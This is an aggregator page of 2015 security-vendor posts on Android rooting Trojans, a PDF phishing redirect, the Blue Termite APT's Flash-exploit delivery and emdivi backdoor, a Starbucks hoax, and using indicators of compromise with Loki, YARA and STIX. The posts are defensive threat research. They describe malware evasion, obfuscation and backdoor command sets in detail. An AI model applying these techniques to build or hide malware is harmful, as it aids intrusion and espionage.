Interactive elements displayed by Trojan.AndroidOS.Guerilla.a

The Guerilla Trojan can also inject its code into system applications in device memory in order to ensure that it will keep getting launched.

Below is a list of applications advertised by the Guerilla Trojan:

  • com.duotui.home
  • com.polaris.newnews
  • com.uf.lockscreen
  • gamedangian.tienlenmiennam.gamebai
  • com.truecaller
  • com.chaatz
  • com.eterno
  • com.machinezone.gow
  • com.moonton.magicrush
  • com.zqkt.hezuobao1
  • com.batterysaverplus
  • com.heisha.candy150706
  • com.mzve.mstc.yxjz
  • com.schibsted.bomnegocio.androidApp
  • com.uf.flashlight
  • com.dianxinos.dxbs
  • com.dianxinos.optimizer.duplay
  • com.ijinshan.kbatterydoctor_en
  • com.quikr
  • com.weixin.gzsj
  • com.cleanmaster.mguard
  • com.looku.bee2
  • com.specialapps.SecretBox
  • com.applockv43o003.amb
  • com.apusapps.launcher
  • com.coconuttec.teenpatti.klub
  • com.igg.castleclash_fr
  • com.leo.appmaster
  • com.uc.browser.en
  • com.fission.sevennujoom
  • com.then.dayx.hgwe
  • com.wifimap.mapwifi

Leech provides access to infected devices not only to Guerilla but to much more dangerous malware, as well. This is why we have decided to write a separate article about this malicious program, in which we are going to describe both this remarkable Trojan and its derivatives.

Ztorg family

On the whole, Trojans belonging to this family have the same functionality as the families described above. The distribution techniques used also match those employed to spread Trojans from the Gorpo (plus Fadeb) and Leech families – malicious code packages are embedded in legitimate applications. The only significant difference is that the latest versions of this malware use a protection technique that enables them to completely hide code from static analysis. The attackers use a protector that replaces the application’s executable file with a dummy, decrypting the original executable file and loading it into the process’s address space when the application is launched. Additionally, string obfuscation is used to make the task of analyzing these files, which is quite complicated as it is, even more difficult.

Ztorg versions that do not use this kind of protection are detected by Kaspersky Lab products as Trojan.AndroidOS.Ztorg.a and versions with protection are detected as Trojan.AndroidOS.Ztorg.b.


Data on the activity of the families described above is provided below. Diagrams on the left-hand side are graphs showing the number of newly attacked users over time and the right-hand images are geographical distribution maps.


The largest number of infection attempts for the Leech Trojan was recorded in the first half of July, with about 33 thousand users attacked over the two-week period. Attacks peaked on July 9 – over 2,800 potential victims.



Trojan.AndroidOS.Ztorg.a was quite active in July – an average of more than 1200 users attacked per day. Around the middle of July, its popularity sharply declined, as the malware was replaced with its new modification –Trojan.AndroidOS.Ztorg.b. The Trojan’s protected version was more active and attacked about 1300 users daily in July.


The activity of Trojan-Dropper.AndroidOS.Gorpo.a rose gradually, starting in early May 2015. However, we recorded two surges – on June 30 and July 16. On these days, the number of users attacked exceeded 1500 and 1800, respectively.


Trojan.AndroidOS.Fadeb.a could be regarded as the least successful of the malicious programs described above. Its activity also increased starting in early May, but even in the first half of July, which was its most active period, the number of users attacked did not exceed 1,000 per day.

The majority of users attacked by the Trojans were located in Russia and India, as well as countries of the Middle East. However, tens and even hundreds of infections were recorded in other regions, too.


It is not very common for malicious applications to be able to gain superuser privileges on their own. Such techniques have mainly been used in sophisticated malware designed for targeted attacks. The cases described in this post show that these techniques are becoming more mainstream: run-of-the mill malware increasingly uses similar (if not more advanced) techniques. This creates a dangerous trend. Although the Trojans described above are mostly used for advertising purposes, nothing would prevent them from using their newly-gained superuser privileges to install applications that can do users much more harm than just irritation caused by annoying advertising.

A Phishing Trampoline – embedding redirects in PDF documents

Malware Alerts - Fri, 08/21/2015 - 03:16

Today I ran into a typical fraud email claiming to come from a U.S. bank but with a twist! Analyzing the attachment, it turns out that there’s no malware inside but instead a new middle step to fool lesser security software.

The original file name is “Swift confirmation .pdf” and it was created using Microsoft Word 2010.

/Author(Unknown)/CreationDate(D:20150814180000-04’00’)/Creator(Microsoft« Word 2010

So, if it is not malware then what’s the catch?

Well, this is a ‘Mediabox’-clickable document file used to redirect victims to a phishing website.

If the victim clicks on ‘View pdf File’ then it first opens a redirector website and then finally makes the jump to a server located in Chile that actually hosts the phishing attempt.

This is an interesting technique that would fool some Anti-Phishing filters based on analysis of the URLs in the  embedded  email messages themselves.

New activity of the Blue Termite APT

Malware Alerts - Thu, 08/20/2015 - 06:55


In October 2014, Kaspersky Lab started to research “Blue Termite”, an Advanced Persistent Threat (APT) targeting Japan. The oldest sample we’ve seen up to now is from November 2013.

This is not the first time the country has been a victim of an APT. However, the attack is different in two respects: unlike other APTs, the main focus of Blue Termite is to attack Japanese organizations; and most of their C2s are located in Japan. One of the top targets is the Japan Pension Service, but the list of targeted industries includes government and government agencies, local governments, public interest groups, universities, banks, financial services, energy, communication, heavy industry, chemical, automotive, electrical, news media, information services sector, health care, real estate, food, semiconductor, robotics, construction, insurance, transportation and so on. Unfortunately, the attack is still active and the number of victims has been increasing.

The following graph shows daily access to some of the known C2s:

You will see a significant increase in the middle of July (marked in orange). The spike resulted from new attack methods that the Blue Termite group employed and that Kaspersky Lab detects. This article introduces the new methods and technical details on how they work.

New method of initial infection

Originally, the main infection vector of the APT was spear-phishing emails. Kaspersky Lab has detected a new method of first infection that uses a drive-by-download with a flash exploit (CVE-2015-5119, the one leaked from The Hacking Team incident).

Several Japanese web sites have been compromised with this method.


The malicious code inserted into the compromised site points to “faq.html”.

The source code of “faq.html”:

The “faq.html” loads “movie.swf” which contains the exploit. In this way, the malware infects a visitor’s machine when it’s accessed.

The “movie.swf” header is “ZWS”, a flash file compressed using the Lempel-Ziv-Markov chain-Algorithm (LZMA):

The file contains a big data section, marked in blue:

The data includes 12 bytes of header. The encoded data begins at 0x5dca (“\x78\x9c\xec\xb7….”) and is compressed using zlib. After decompression, an executable file (with an “MZ header”) is found.

In addition to the above data, the swf file also has a shellcode in ActionScript (AS):

The function of this shellcode is quite simple: it saves the extracted executable file as “rdws.exe” in the current temp directory, then executes it with WinExec().

The extracted executable file is “emdivi t17″, a new infection vector used by the attackers. We found several kinds of malware that execute as rdws.exe, and emdivi t17 is one of them.

Kaspersky Lab also found some watering hole attacks, including one on a website belonging to a prominent member of the Japanese government. We sent a notification email to the admin and ISP of the affected site but didn’t receive any reply. However, the malicious code was removed after about an hour. The code below filters out any IPs except for the one belonging to the specific Japanese governmental organization.

Interestingly, the script includes IP information with the variable name “TEST”. We suspect this is the attackers’ testing IP, located in Shanghai.

Customized malware according to target

Kaspersky Lab detected the tailored malware, “emdivi t20″. This malware is basically used after the infection by emdivi t17 that serves as a backdoor. Although the versions emdivi t17 and emdivi t20 are from the same emdivi family, the latter is more sophisticated.. For example, let’s look at the backdoor commands they make use of. emdivi t17 has 9 commands; on the other hand, some of emdivi t20 samples have up to 40 commands.

Commands supported by emdivi t17:

command md5 DOABORT d895d96bc3ae51944b29d53d599a2341 DOWNBG 39cd12d51b236befc5f939a552181d73 GETFILE 74a9d3a81b79eec0aa2f849cbc8a7efb GOTO 4b8bb3c94a9676b5f34ace4d7102e5b9 LOADDLL 67ca07ecb95c4055d2687815d0c0f8b9 SETCMD 48bb700b80557ee2e5cf06c90ba6698c SUSPEND ee93a0b023cef18b34ebfee347881c14 UPLOAD 8dff5f89b87ebf91a1ecc1dbed3a6fbb VERSION 021321e8c168ba3ae39ce3a2e7b3ec87

Commands supported by emdivi t20:

command md5 abort 5bb94a1c12413a2e5d14deabab29f2aa cd 6865aeb3a9ed28f9a79ec454b259e5d0 copy 12cba3ee81cf4a793796a51b6327c678 dir 736007832d2167baaae763fd3a3f3cf1 diskls e120a254f254978fc265354a4e79d1d6 doabort 1f6dcc1149b2eef63f6dd4833d5ef0d3 downbg 1e04875a872812e1f431283244b180d2 downbg2 7f3e982a0d9b4aa5303332aaf414d457 download fd456406745d816a45cae554c788e754 download2 b5a4000c99977ce512052d4e8bf737f8 execute ec0cd3cb91fe82b9501f62a528eb07a9 exhide fc236c4ddd3414cee8bd3cbd937461c0 exit f24f62eeb789199b9b2e467df3b1876b exuser 0b5396d6bd0867485ff63067ad9363e7 get b5eda0a74558a342cf659187f06f746f getfile b24ba6d783f2aa471b9472109a5ec0ee getlnk 71574cf393bf901effa0cbc6c37e4ce2 goto de94e676c0358eefea4794f03d6bda4f hash 0800fc577294c34e0b28ad2839435945 head 96e89a298e0a9f469b9ae458d6afae9f hjlnk ebb0149209e008e3f87e26659aa9b173 loaddll 0340b5e3f0d0ea71eeef6ab890270fc0 md 793914c9c583d9d86d0f4ed8c521b0c1 mklnk a3bb50704b87da1858a46455dfb5e470 move 3734a903022249b3010be1897042568e post 42b90196b487c54069097a68fe98ab6f postfile 316713cb9f82ff9ade53712ab1cbf92c postfile2 f15ae485061a10adead43d7f5d5a9889 rd eeec033a2c4d56d7ba16b69358779091 runas d88f585460839dd14ad3354bb0d5353b screen 599eba19aa93a929cb8589f148b8a6c4 setcmd 27dc2525548f8ab10a2532037a9657e0 setlen 846a44d63b02c23bcfee5b4ccaa89d54 suspend 497927fb538c4a1572d3b3a98313cab1 tasklist 6e0ad8e44cff1b5d2901e1c7d166a2a4 type 599dcce2998a6b40b1e38e8c6006cb0a unzip 0a342b59ecdcede0571340b9ed11633f upload 76ee3de97a1b8b903319b7c013d8c877 version 2af72f100c356273d46284f6fd1dfc08 zip adcdbd79a8d84175c229b192aadc02f2

They both store the md5 checksums of backdoor commands.

When analyzing emdivi t20 samples, we found that it is highly targeted in two respects.

Firstly, an emdivi t20 sample contains hardcoded internal proxy information, being encrypted at 0x44e79c:

The decrypted code is “proxy.??????????″:

This trick is not new, but it is not widely used. This is because it may reveal its targets, or it is not a generic method and only works in a specific organization. However, similar cases have been observed sometimes in other APTs.

The second aspect is quite interesting. The emdivi family stores important data about itself, including C2, API name, strings for anti-analysis, value of mutexes, as well as the md5 checksum of backdoor commands and the internal proxy information. They are stored in encrypted form, and are decrypted when necessary. Therefore, to analyze an emdivi sample in detail, we need to locate which hex codes are encrypted, and how to decrypt them. In the process of decryption, a unique decryption key is required for each sample.

emdivi t20 has a function to generate a decryption key using Salt1 and Salt2. Salt1 is generated from a magic string (suspected to be a version of emdivi) with certain four digits (suspected to be an ID of the C2).

Example of a magic string:

Part of the emdivi name (“t17″ and “t20″) is taken from this hardcoded magic string.

Salt2 is generated with a large amount of data that is hardcoded:

In most cases, the emdivi family generates a decryption key using Salt1 and Salt2.

In early July 2015, however, Kaspersky Lab found a sample that creates a decryption key with Salt1, Salt2, and Salt3. Salt3 is the security identifier (SID) from a compromised PC.

The flow of decryption key generation (with additional Salt3):

In other words, the sample works only on its target PCs. Without knowing the victim’s SID, the decryption key will not be generated successfully, making it difficult to decrypt important data. This means it’s not possible to analyze the malware in detail.

Fortunately, we were able to analyze those samples. We were able to successfully brute-force the decryption keys from several samples without SIDs.


From early June, when the cyber-attack on the Japan Pension Service started to be reported widely, various Japanese organizations would have started to deploy protection measures. However, the attackers from Blue Termite, who it seems kept a close eye on them, started to employ new attack methods and successfully expanded their operation. While writing this article, another sample of emdivi t20 has been found. It employs AES in addition to SID tricks, making it difficult to decrypt sensitive data. In order to fight back against this cyber-espionage, Kaspersky Lab will continue its research.

Kaspersky products detect emdivi t17, emdivi t20, and the flash exploits using the verdicts below:

  • Backdoor.Win32.Emdivi.*
  • Backdoor.Win64.Agent.*
  • Exploit.SWF.Agent.*
  • HEUR:Backdoor.Win32.Generic
  • HEUR:Exploit.SWF.Agent.gen
  • HEUR:Trojan.Win32.Generic
  • Trojan-Downloader.Win32.Agent.*
  • Trojan-Dropper.Win32.Agent.*

More information about the Blue Termite targeted attacks is available to Kaspersky Security Intelligence Services customers. Contact:

You’re Paying for Your Starbucks, One Way or the Other

Malware Alerts - Thu, 08/20/2015 - 03:47

Today, I received this message from a friend living in Mexico via Whatsapp.

According to the message, Starbucks is giving away 500 in local currency credits if you take their survey, so my friend asked me to take a quick look to determine if it’s real.

Sadly for the coffee lovers among us, this is a classic hoax campaign abusing the Starbucks brand. If the victim follows the link from a mobile device, it loads a fake Starbucks survey with some scripts designed to customize the campaign according to the city of origin and its local currency.

So if you live in the U.S. you’re promised $500 USD but if you’re in Argentina then it’s only 500 pesos and so on. Argentinians are clearly getting the worse end of that deal.

If you have the patience to click through the survey, the scammers have the gall to ask you to spread the message to 10 of your contacts in order to redeem your imaginary voucher. This is how this Hoax is spread –by enlisting the help of gullible victims to prey on their friends!

What if the victim uses a desktop browser? There is a script on the aforementioned site, which is actually located in Moldova, that detects the browser’s user agent. If it matches with a desktop version, the script redirects the visitor to the following URL:


That URL in turn redirects visitors to another website for a Fake (Rogue) Technical Support service meant to scare the victim into providing remote access to their system.

It turns out that Google Hangouts calls to that number are prohibited. My first calling attempt met an automated answer of ‘This number is not in service’. However, on a second attempt with an alternate line I was able to connect to somebody with a foreign accent.

If you’re so inclined, you can listen  to just how nice and attentive the ‘support staff’ is. Note the pauses and emotional inflection behind each scripted scene like ‘My name is…’ and when I revealed that my computer is infected:

As you can see, this is an all around ‘Hoax-Fraud-Rogue’ scheme with redundancies and low chance of failure. Victims themselves are enlisted to rekindle the campaigns flames by spreading the message to 10 new users. So, first things first, it’s very important to break the cycle, stop bombarding your friends with scams! Next, invite them to have a conversation about how hoaxes work, maybe over a cup of coffee you’ll actually have to pay for.

Indicators of compromise as a way to reduce risk

Malware Alerts - Wed, 08/19/2015 - 10:56

Infrastructure owners must regularly check their resources for the presence of malicious components. One of the ways in which a resource may become infected is as a result of “zero-day” vulnerability exploitation by cybercriminals. In this case, the developers of security tools used to protect the information system may be as yet unaware of the new threat. At the same time, experts may be investigating incidents related to the new threat. Moreover, some findings of these investigations may already be publicly available.

Such reports have practical value. A typical report on an APT campaign includes the following information:

  • Attack victims and the objectives of cybercriminals;
  • List of victim nodes (IP addresses);
  • Current activity of malicious components and/or cybercriminal groups;
  • Detailed descriptions of tools and malicious components used by the cybercriminals;
  • Description of the command-and-control (C&C) server infrastructure;
  • Indicators of compromise.

Of all the detailed technical information on any given APT, “indicators of compromise” have the greatest practical value for security administrators. This is a set of data that can help an administrator of the corporate IT infrastructure to discover any malicious activity in the system and take appropriate action.

How should information system administrators use this data in practice? This paper is intended to provide an answer to this question.

An indicator of compromise is information on the signs of malicious activity, which is structured in such a way that it can be fed into automated tools designed to check the infrastructure for signs of infection. Although there is no generally accepted format for descriptions of these indicators, several types of structured data are widely used and supported in the industry.


IOC (indicator of compromise) – a list of threat data (e.g., strings defining file paths or registry keys) which can be used to detect a threat in the infrastructure using automated software-based analysis.

Simple IOC usage scenarios involve searching the system for specific files using a variety of search criteria: MD5 hashes, file names, creation dates, sizes and other attributes. Additionally, memory can be searched for various signs specific to the threat and the Windows registry can be searched for specific records.

This data can be presented in a variety of formats, one example of which is OpenIOC. The different formats enable the data to be imported into different security solutions to provide further processing of the indicators. An administrator can integrate IOCs taken from reports into such security solutions as:

  • Solutions of the Endpoint Security class
  • SIEM
  • Various incident investigation tools

There are many commercial solutions for working with IOC, but in many cases the capabilities of similar open-source programs are sufficient to check the target system for signs of infection. One example is Loki – an IOC scanner distributed under the GPL license, which can be used to search the target system for various indicators appearing as a result of malicious activity.

To scan the system using the Loki scanner, it is sufficient to unpack the archive containing the utility and add the relevant IOC attributes to the scanner’s knowledge base. The following IOC categories are located in the application’s folder named “signature”:

  • “filename-iocs” – a text file containing lists of file system attributes produced by the activity of various threats;
  • “hash-iocs” – a list of MD5, SHA1 and SHA256 hashes of malicious components that appear in the system after it is infected;
  • “falsepositive-hashes” – a list of exceptions: MD5, SHA1 and SHA256 hashes that are marked as false positives by the scanner when detecting the relevant components.

As an example, consider the report we released after an investigation of the Carbanak APT. Page 36 of the report lists the MD5 hashes of all malware components that may be present in the system as a result of this infection. We can open the scanner’s file named “hash-iocs” and enter a rule for this threat in the following format: <MD5>;<description> .

List of Carbanak APT components’ MD5 hashes in Loki scanner’s “hash-iocs” file

The next step is to create an indicator in the text file named “filename-iocs”, which describes malicious components’ attributes in the file system. The indicator should have the following format:



IOC for the file system in Loki “filename-iocs” list

After entering the relevant indicators in the scanner’s knowledge base, we can launch a scan of the workstation. This requires launching the “loki.exe” executable file with administrator privileges (otherwise the scanner won’t be able to scan the contents of RAM for attributes) and wait for the scan to complete.

The process of scanning using Loki utility

Upon completing the scan, the application will generate a report and save it in the program’s folder under the name “loki.txt”.

YARA rules

In addition to the various IOC indicators, there are files with the “.yar” extension attached to some reports. These files contain rules for YARA – a tool for identifying and categorizing malicious samples. The so-called YARA rules use a special syntax to describe attributes that indicate the presence of malicious activity in the system. If one of the rules is met, the analyzer returns an infection verdict that includes the relevant details (e.g., the threat’s name).

Loki scanner described above also supports YARA rules, which means that administrators can use .yar files taken from reports to scan the system for the threats described in these reports. This is done by copying a .yar file to the “signature” folder and launching a scan.

However, the official tool created by developers of the YARA project is much better suited to working with YARA rules, because its knowledge base is regularly updated and is much more extensive than the databases of other similar utilities. As a result, scanning provides a more comprehensive view of an information system’s security, with more complete information on the presence of malicious components in the system.

To scan a workstation, it is sufficient to launch the YARA utility with the necessary parameters. For example:

yara32.exe –d md5= <MD5_hash><this_is_yara_rule.yar><dir_for_check>

where “-d” is a parameter used to define external variables. If any matches to any of the rules are detected, the utility will display a notification including the rule name and the component triggering the rule.

Sample notification of a YARA rule match

The administrator can, for example, launch such scans at system startup. This can be done by writing a simple PowerShell script that will launch utilities with the right parameters and, if necessary, schedule it to run on all hosts at logon using the Active Directory: User configuration -> Windows configuration -> Scenarios ->Logon.


Structured Threat Information Expression (STIX) is a unified language for recording threat information and importing it into software solutions. Many security solutions can import information in the STIX format (as well as JSON, which is described below) for using that information in the following kinds of infrastructure:

  • SIEM
  • Indicator-based security solutions (such as scanners)
  • Forensic platforms
  • Solutions of the Endpoint Security class, etc.

A STIX report can be imported into IBM QRadar, a popular SIEM solution, using a specially designed python script:

./ -f STIXDocument.xml -i -t XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX -r MyReferenceSet

where the “-f” parameter defines the location of a local STIX document, “-i” defines a host with a QRadar console installed on it, and “-t” defines a service token for QRadar.

STIX reports are also supported by the Splunk App for Enterprise Security intelligence platform and can be imported. A STIX file must have a .xml extension to be read and parsed.

It is worth noting that there is a Python utility called openioc-to-stix which can be used to convert OpenIOC format to STIX Indicators, enabling indicators of compromise to be imported as STIX rules into solutions that do not support OpenIOC.

JSON is one of the most popular data presentation formats, which is also often used to format data provided with reports. The use of JSON data depends on the administrator’s needs and on the software solution into which the data is imported. For example, if a JSON file contains IP addresses of command servers to which infected workstations connect, the administrator of the infrastructure protected by the solution can include these IPs in the blacklist of a firewall supporting JSON imports. If the firewall does not support importing data in this format, the administrator can use a parser (a JSON file analyzer) to export the IP list from the file and then import it into the firewall’s blacklist.


“Indicators of compromise” help to use threat data effectively: identify malware and quickly respond to incidents. These indicators are very often included in threat reports, which are often skimmed by readers. Even if a document providing details of a research project does not have a dedicated Indicators of Compromise section, a reader can always extract useful data (information on the attributes found in infected systems) from the text, present the data extracted in any of the formats described above and import it into a security solution.

Our latest researches with indicators of compromise:

Wild Neutron – Economic espionage threat actor returns with new tricks

The Mystery of Duqu 2.0: a sophisticated cyberespionage actor returns

The Great Bank Robbery: the Carbanak APT

Icefog OpenIOC Release

Darkhotel Indicators of Compromise (PDF)

Crouching Yeti — Appendixes (PDF)

Securely Disposing Mobile Devices

SANS Tip-of-the-Day - Tue, 08/18/2015 - 19:31
Do you plan on giving away or selling one of your older mobile devices? Make sure you wipe or reset your device before disposing of it. If you don't, the next person who owns it will have access to all of your accounts and personal information.


Subscribe to RIT Information Security aggregator